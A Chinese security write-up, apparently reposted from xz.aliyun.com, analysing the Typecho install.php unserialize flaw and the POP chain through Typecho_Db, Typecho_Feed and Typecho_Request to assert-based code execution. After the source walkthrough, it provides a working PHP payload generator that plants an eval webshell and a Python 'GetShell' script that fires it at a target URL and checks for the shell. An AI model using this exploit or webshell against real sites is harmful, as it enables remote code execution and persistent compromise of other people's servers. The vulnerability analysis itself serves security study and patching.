转自先知 https://xz.aliyun.com/t/14
Typecho Install.php 代码分析 前言 有一天凌晨听其他师傅说typecho留了后门,因为吃鸡太晚了就没看。后面想分析的时候,后发现原文章没了,搜索引擎的缓存都是乱的。。。。找了好久也没有找到,于是问了下其他看过的师傅漏洞位置,根据杂乱的缓存,就自己操刀子了 。
问题源头在install.php,它在安装后是不会删除的,这里就是恶意代码的输入点
操作执行顺序
base64解码后反序列化cookie中传入的__typecho_config参数,
然后让__typecho_config作为构造参数例化一个Typecho_Db类,
接着通过POP链进行代码执行。
涉及到的文件还有类名
1 install.php(unserialize) - > Db.php(class Typecho_Db) - > Feed.php (class Typecho_Feed) - > Request.php (class Typecho_Request)
install.php
进入这段代码的条件
设置了正确的referer(网站url即可)
加上一个任意的finish参数
设置cookie中__typecho_config字段的值
cookie中的__typecho_config得到序列化后的$config数组字符串后,再使用$config['adapter']作为构造参数传入Typecho_Db的实例化过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php if (isset ($_GET ['finish' ])) : ?> <?php if (!@file_exists (__TYPECHO_ROOT_DIR__ . '/config.inc.php' )) : ?> <h1 class ="typecho -install -title "><?php _e ('安装失败!'); ?></h1 > <div class ="typecho -install -body "> <form method ="post " action ="?config " name ="config "> <p class ="message error "><?php _e ('您没有上传 config .inc .php 文件,请您重新安装!'); ?> <button class ="btn primary " type ="submit "><?php _e ('重新安装 »'); ?></button ></p > </form > </div > <?php elseif (!Typecho_Cookie ::get ('__typecho_config ')): ?> <h1 class ="typecho -install -title "><?php _e ('没有安装!'); ?></h1 > <div class ="typecho -install -body "> <form method ="post " action ="?config " name ="config "> <p class ="message error "><?php _e ('您没有执行安装步骤,请您重新安装!'); ?> <button class ="btn primary " type ="submit "><?php _e ('重新安装 »'); ?></button ></p > </form > </div > <?php else : ?> <?php $config = unserialize (base64_decode (Typecho_Cookie ::get ('__typecho_config '))); Typecho_Cookie ::delete ('__typecho_config ');$db = new Typecho_Db ($config ['adapter '], $config ['prefix ']); $db ->addServer ($config , Typecho_Db ::READ | Typecho_Db ::WRITE ); Typecho_Db ::set ($db );?>
Db.php $config['adapter']在构造函数里面对应形参$adapterName,$adapterName是Typecho_Feed类的实例,使用.字符连接就调用__toString魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php public function __construct ($adapterName , $prefix = 'typecho_' ) { $this ->_adapterName = $adapterName ; $adapterName = 'Typecho_Db_Adapter_' . $adapterName ; if (!call_user_func (array ($adapterName , 'isAvailable' ))) { throw new Typecho_Db_Exception ("Adapter {$adapterName} is not available" ); } $this ->_prefix = $prefix ; $this ->_pool = array (); $this ->_connectedPool = array (); $this ->_config = array (); $this ->_adapter = new $adapterName (); }
Feed.php $this->_type用来控制if语句的流程,给$this->_type赋值 ATOM 1.0时, 即可进入包含$item['author']->screenName的分支,$item['author']这个变量是一个Typecho_Request的实例,我们可以设置这个Typecho_Request实例的属性screenName是一个私有属性, 当访问$item['author']->screenName就会调用__get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 <?php public function __toString ( ) { $result = '<?xml version="1.0" encoding="' . $this ->_charset . '"?>' . self ::EOL ; if (self ::RSS1 == $this ->_type) { $result .= '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://purl.org/rss/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/">' . self ::EOL ; $content = '' ; $links = array (); $lastUpdate = 0 ; foreach ($this ->_items as $item ) { $content .= '<item rdf:about="' . $item ['link' ] . '">' . self ::EOL ; $content .= '<title>' . htmlspecialchars ($item ['title' ]) . '</title>' . self ::EOL ; $content .= '<link>' . $item ['link' ] . '</link>' . self ::EOL ; $content .= '<dc:date>' . $this ->dateFormat ($item ['date' ]) . '</dc:date>' . self ::EOL ; $content .= '<description>' . strip_tags ($item ['content' ]) . '</description>' . self ::EOL ; if (!empty ($item ['suffix' ])) { $content .= $item ['suffix' ]; } $content .= '</item>' . self ::EOL ; $links [] = $item ['link' ]; if ($item ['date' ] > $lastUpdate ) { $lastUpdate = $item ['date' ]; } } $result .= '<channel rdf:about="' . $this ->_feedUrl . '"> <title>' . htmlspecialchars ($this ->_title) . '</title> <link>' . $this ->_baseUrl . '</link> <description>' . htmlspecialchars ($this ->_subTitle) . '</description> <items> <rdf:Seq>' . self ::EOL ; foreach ($links as $link ) { $result .= '<rdf:li resource="' . $link . '"/>' . self ::EOL ; } $result .= '</rdf:Seq> </items> </channel>' . self ::EOL ; $result .= $content . '</rdf:RDF>' ; } else if (self ::RSS2 == $this ->_type) { $result .= '<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wfw="http://wellformedweb.org/CommentAPI/"> <channel>' . self ::EOL ; $content = '' ; $lastUpdate = 0 ; foreach ($this ->_items as $item ) { $content .= '<item>' . self ::EOL ; $content .= '<title>' . htmlspecialchars ($item ['title' ]) . '</title>' . self ::EOL ; $content .= '<link>' . $item ['link' ] . '</link>' . self ::EOL ; $content .= '<guid>' . $item ['link' ] . '</guid>' . self ::EOL ; $content .= '<pubDate>' . $this ->dateFormat ($item ['date' ]) . '</pubDate>' . self ::EOL ; $content .= '<dc:creator>' . htmlspecialchars ($item ['author' ]->screenName) . '</dc:creator>' . self ::EOL ; if (!empty ($item ['category' ]) && is_array ($item ['category' ])) { foreach ($item ['category' ] as $category ) { $content .= '<category><![CDATA[' . $category ['name' ] . ']]></category>' . self ::EOL ; } } if (!empty ($item ['excerpt' ])) { $content .= '<description><![CDATA[' . strip_tags ($item ['excerpt' ]) . ']]></description>' . self ::EOL ; } if (!empty ($item ['content' ])) { $content .= '<content:encoded xml:lang="' . $this ->_lang . '"><![CDATA[' . self ::EOL . $item ['content' ] . self ::EOL . ']]></content:encoded>' . self ::EOL ; } if (isset ($item ['comments' ]) && strlen ($item ['comments' ]) > 0 ) { $content .= '<slash:comments>' . $item ['comments' ] . '</slash:comments>' . self ::EOL ; } $content .= '<comments>' . $item ['link' ] . '#comments</comments>' . self ::EOL ; if (!empty ($item ['commentsFeedUrl' ])) { $content .= '<wfw:commentRss>' . $item ['commentsFeedUrl' ] . '</wfw:commentRss>' . self ::EOL ; } if (!empty ($item ['suffix' ])) { $content .= $item ['suffix' ]; } $content .= '</item>' . self ::EOL ; if ($item ['date' ] > $lastUpdate ) { $lastUpdate = $item ['date' ]; } } $result .= '<title>' . htmlspecialchars ($this ->_title) . '</title> <link>' . $this ->_baseUrl . '</link> <atom:link href="' . $this ->_feedUrl . '" rel="self" type="application/rss+xml" /> <language>' . $this ->_lang . '</language> <description>' . htmlspecialchars ($this ->_subTitle) . '</description> <lastBuildDate>' . $this ->dateFormat ($lastUpdate ) . '</lastBuildDate> <pubDate>' . $this ->dateFormat ($lastUpdate ) . '</pubDate>' . self ::EOL ; $result .= $content . '</channel> </rss>' ; } else if (self ::ATOM1 == $this ->_type) { $result .= '<feed xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xml:lang="' . $this ->_lang . '" xml:base="' . $this ->_baseUrl . '" >' . self ::EOL ; $content = '' ; $lastUpdate = 0 ; foreach ($this ->_items as $item ) { $content .= '<entry>' . self ::EOL ; $content .= '<title type="html"><![CDATA[' . $item ['title' ] . ']]></title>' . self ::EOL ; $content .= '<link rel="alternate" type="text/html" href="' . $item ['link' ] . '" />' . self ::EOL ; $content .= '<id>' . $item ['link' ] . '</id>' . self ::EOL ; $content .= '<updated>' . $this ->dateFormat ($item ['date' ]) . '</updated>' . self ::EOL ; $content .= '<published>' . $this ->dateFormat ($item ['date' ]) . '</published>' . self ::EOL ; $content .= '<author> <name>' . $item ['author' ]->screenName . '</name> <uri>' . $item ['author' ]->url . '</uri> </author>' . self ::EOL ;
Request.php Typecho_Request实例调用__get魔术方法,进入get方法,最后进入_applyFilter方法
1 2 3 4 <?php public function __get ($key ) { return $this ->get ($key ); }
$key的值是screenNamem,因此$this->_params需要是个键为screenNamem的数组,键值为想执行的代码,最终$value传进call_user_func
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php public function get ($key , $default = NULL ) { switch (true ) { case isset ($this ->_params[$key ]): $value = $this ->_params[$key ]; break ; case isset (self ::$_httpParams [$key ]): $value = self ::$_httpParams [$key ]; break ; default : $value = $default ; break ; } $value = !is_array ($value ) && strlen ($value ) > 0 ? $value : $default ; return $this ->_applyFilter ($value ); }
进入_applyFilter后,可以看见call_user_func,这时需要设置$this->_filter为arrsert,作为call_user_func的第一个参数,$value我们也可控,已经可以执行任意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php private function _applyFilter ($value ) { if ($this ->_filter) { foreach ($this ->_filter as $filter ) { $value = is_array ($value ) ? array_map ($filter , $value ) : call_user_func ($filter , $value ); } $this ->_filter = array (); } return $value ; }
EXP 主要用于生成__typecho_config的Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class Typecho_Feed { const RSS2 = 'RSS 2.0' ; private $_type ; private $_charset ; private $_lang ; private $_items = array (); public function __construct ($version , $type = self ::RSS2 , $charset = 'UTF-8' , $lang = 'en' ) { $this ->_version = $version ; $this ->_type = $type ; $this ->_charset = $charset ; $this ->_lang = $lang ; } public function addItem (array $item ) { $this ->_items[] = $item ; } } class Typecho_Request { private $_params = array ('screenName' =>'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'<?php @eval($_POST[a]);?>\')' ); private $_filter = array ('assert' ); } $payload1 = new Typecho_Feed (5 , 'ATOM 1.0' );$payload2 = new Typecho_Request ();$payload1 ->addItem (array ('author' => $payload2 ));$exp ['adapter' ] = $payload1 ;$exp ['prefix' ] = 'Rai4over' ;echo base64_encode (serialize ($exp ));
编写payload的简单思路 最外层$exp是数组,数组中的’adapter’是Typecho_Feed的实例$payload1,$payload1的构造参数是’ATOM 1.0’用于控制分支, $payload2是Typecho_Request的实例, private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell 然后$payload2通过additem添加到$payload的$_items的变量中,最后把$payload1添加到最外层的$exp数组中
ps:因为install.php中有ob_start();所以构造好是没有回显的,但是也能写shell 后面其他师傅说可以用Typecho_Response类中的redirect方法中的exit()得到回显
GetShell小工具 记得把php添加进环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport osif __name__ == '__main__' : print ''' ____ ____ _ _ _ | __ ) _ _ | _ \ __ _(_) || | _____ _____ _ __ | _ \| | | | | |_) / _` | | || |_ / _ \ \ / / _ \ '__| | |_) | |_| | | _ < (_| | |__ _| (_) \ V / __/ | |____/ \__, | |_| \_\__,_|_| |_| \___/ \_/ \___|_| |___/ ''' targert_url = 'http://www.xxxxxxxx.xyz' ; rsp = requests.get(targert_url + "/install.php" ); if rsp.status_code != 200 : exit('The attack failed and the problem file does not exist !!!' ) else : print 'You are lucky, the problem file exists, immediately attack !!!' proxies = {"http" : "http://127.0.0.1:8080" , "https" : "http://127.0.0.1:8080" , } typecho_config = os.popen('php exp.php' ).read() headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0' , 'Cookie' : 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};' .format (typecho_config=typecho_config), 'Referer' : targert_url} url = targert_url + "/install.php?finish=1" requests.get(url,headers=headers,allow_redirects=False ) shell_url = targert_url + '/usr/themes/default/img/c.php' if requests.get(shell_url).status_code == 200 : print 'shell_url: ' + shell_url else : print "Getshell Fail!"
参考:http://bobao.360.cn/learning/detail/4122.html